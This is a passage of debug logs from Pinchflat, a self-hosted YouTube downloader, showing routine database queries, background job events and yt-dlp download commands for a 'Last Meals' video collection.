s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:29:30.987 [debug] QUERY OK source="settings" db=0.1ms idle=1343.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:29:30.988 [debug] QUERY OK source="settings" db=0.1ms idle=925.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:29:30.989 [info] Sent 200 in 3ms 22:29:58.903 [info] {"source":"oban","duration":665,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:30:00.669 [info] {"source":"oban","duration":370,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:30:15.356 [info] GET /sources/1/media/109/edit 22:30:15.357 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "109", "source_id" => "1"} Pipelines: [:browser] 22:30:15.357 [debug] QUERY OK source="media_items" db=0.2ms idle=1294.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [109] 22:30:15.358 [debug] QUERY OK source="settings" db=0.0ms idle=1295.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:30:15.358 [debug] QUERY OK source="settings" db=0.1ms idle=1295.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:30:15.358 [debug] QUERY OK source="settings" db=0.0ms idle=1296.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:30:15.359 [info] Sent 200 in 2ms 22:30:28.904 [info] {"source":"oban","duration":1028,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:30:56.017 [info] GET /sources/1/media/102/edit 22:30:56.017 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "102", "source_id" => "1"} Pipelines: [:browser] 22:30:56.018 [debug] QUERY OK source="media_items" db=0.4ms idle=1223.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [102] 22:30:56.019 [debug] QUERY OK source="settings" db=0.1ms idle=956.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:30:56.019 [debug] QUERY OK source="settings" db=0.2ms idle=956.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:30:56.020 [debug] QUERY OK source="settings" db=0.2ms idle=957.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:30:56.022 [info] Sent 200 in 4ms 22:30:58.906 [info] {"source":"oban","duration":1270,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:31:00.671 [info] {"source":"oban","duration":412,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:31:09.430 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=km6sdtqn5dA --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/59/da/59da21d69aa71d9362a03778120a632fedc066ebd20c83d6320e1581548987ea.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:31:09.443 [debug] Running yt-dlp command for action: download_thumbnail 22:31:09.444 [debug] QUERY OK source="settings" db=0.0ms idle=1381.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:31:09.444 [debug] QUERY OK source="settings" db=0.0ms idle=1381.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:31:09.444 [debug] QUERY OK source="settings" db=0.0ms idle=628.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:31:09.444 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=km6sdtqn5dA --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/91/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/bd/fc/bdfcd7c8d3f27889add3083f747d5caa7a028293f220117ccf271e0990a95a6e.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:31:11.844 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=km6sdtqn5dA --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/91/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/bd/fc/bdfcd7c8d3f27889add3083f747d5caa7a028293f220117ccf271e0990a95a6e.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:31:11.844 [debug] QUERY OK db=0.0ms idle=781.9ms begin [] 22:31:11.844 [debug] QUERY OK source="media_items" db=0.3ms UPDATE "media_items" SET "media_downloaded_at" = ?, "media_filepath" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-03-28 02:31:09Z], "/downloads/Last Meals/2026-01-27 Try Guys' Keith Habersberger Eats His Last Meal/Try Guys' Keith Habersberger Eats His Last Meal [km6sdtqn5dA].mp4", ~U[2026-03-28 02:31:11Z], 91] 22:31:11.845 [debug] QUERY OK source="media_metadata" db=0.2ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/91/metadata.json.gz", "/config/metadata/media_items/91/thumbnail.jpg", 91, ~U[2026-03-28 02:31:11Z], ~U[2026-03-28 02:31:11Z]] 22:31:11.845 [debug] QUERY OK db=0.0ms commit [] 22:31:11.847 [debug] QUERY OK source="media_items" db=0.5ms idle=784.5ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [980239302, ~U[2026-03-28 02:31:11Z], 91] 22:31:11.847 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:31:11.847 [info] {"args":{"id":91},"id":90,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":282090930,"event":"job:stop","queue_time":5855756386,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:31:11.848 [debug] QUERY OK source="tasks" db=0.2ms idle=785.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:31:11.848 [debug] QUERY OK source="tasks" db=0.3ms idle=29.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:31:11.848 [debug] QUERY OK source="media_items" db=0.2ms idle=2.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [92] 22:31:11.848 [debug] QUERY OK source="media_items" db=0.3ms idle=0.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [92] 22:31:11.853 [info] {"args":{"id":93},"id":92,"meta":{},"system_time":1774665071853601294,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:31:11.853 [debug] QUERY OK source="media_items" db=0.1ms idle=5.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [93] 22:31:11.853 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:31:11.854 [debug] QUERY OK source="tasks" db=0.5ms idle=5.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:31:11.854 [debug] QUERY OK source="tasks" db=0.5ms idle=5.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:31:11.854 [debug] QUERY OK source="sources" db=0.2ms idle=5.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:31:11.854 [debug] QUERY OK source="media_items" db=0.1ms idle=0.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [92, 93] 22:31:11.854 [debug] QUERY OK source="media_items" db=0.2ms idle=0.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [92, 93] 22:31:11.854 [debug] QUERY OK source="media_profiles" db=0.3ms idle=0.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:31:11.855 [debug] QUERY OK source="media_items" db=0.1ms idle=0.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [93] 22:31:11.855 [debug] QUERY OK source="media_metadata" db=0.0ms idle=1.0ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [93] 22:31:11.855 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:31:11.855 [debug] QUERY OK source="settings" db=0.1ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:31:11.855 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:31:11.856 [debug] Running yt-dlp command for action: get_downloadable_status 22:31:11.856 [debug] QUERY OK source="settings" db=0.0ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:31:11.856 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:31:11.856 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:31:11.856 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=yKiFpDAcOyU --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/b7/99/b799f0a437ac597c0e733e9452c47063b2029b294bc6bc5fc0d426b2962da247.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:31:14.878 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=yKiFpDAcOyU --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/b7/99/b799f0a437ac597c0e733e9452c47063b2029b294bc6bc5fc0d426b2962da247.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:31:14.879 [debug] Running yt-dlp command for action: download 22:31:14.879 [debug] QUERY OK source="settings" db=0.1ms idle=1816.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:31:14.879 [debug] QUERY OK source="settings" db=0.0ms idle=1816.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:31:14.879 [debug] QUERY OK source="settings" db=0.0ms idle=1816.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:31:14.879 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=yKiFpDAcOyU --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/fb/ee/fbee56f73a06e43aaacd643d1b3e87ce58d2a229990da7e33d3843201c8c713e.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:31:28.907 [info] {"source":"oban","duration":384,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:31:34.359 [info] GET /sources/1/media/105/edit 22:31:34.360 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "105", "source_id" => "1"} Pipelines: [:browser] 22:31:34.361 [debug] QUERY OK source="media_items" db=0.4ms idle=506.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [105] 22:31:34.361 [debug] QUERY OK source="settings" db=0.2ms idle=298.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:31:34.362 [debug] QUERY OK source="settings" db=0.1ms idle=299.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:31:34.363 [debug] QUERY OK source="settings" db=0.1ms idle=300.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:31:34.364 [info] Sent 200 in 4ms 22:31:40.795 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=RG_jhSou0S4 --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/97/ed/97ed9f65c946bb8d7bd7a6223fa64f71b53ecabc7cc57823ea23246195681ddc.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:31:40.804 [debug] Running yt-dlp command for action: download_thumbnail 22:31:40.805 [debug] QUERY OK source="settings" db=0.0ms idle=939.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:31:40.805 [debug] QUERY OK source="settings" db=0.0ms idle=742.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:31:40.805 [debug] QUERY OK source="settings" db=0.0ms idle=742.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:31:40.805 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=RG_jhSou0S4 --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/92/thumbnail.%(ext)s --print-to-file after_move:%()j 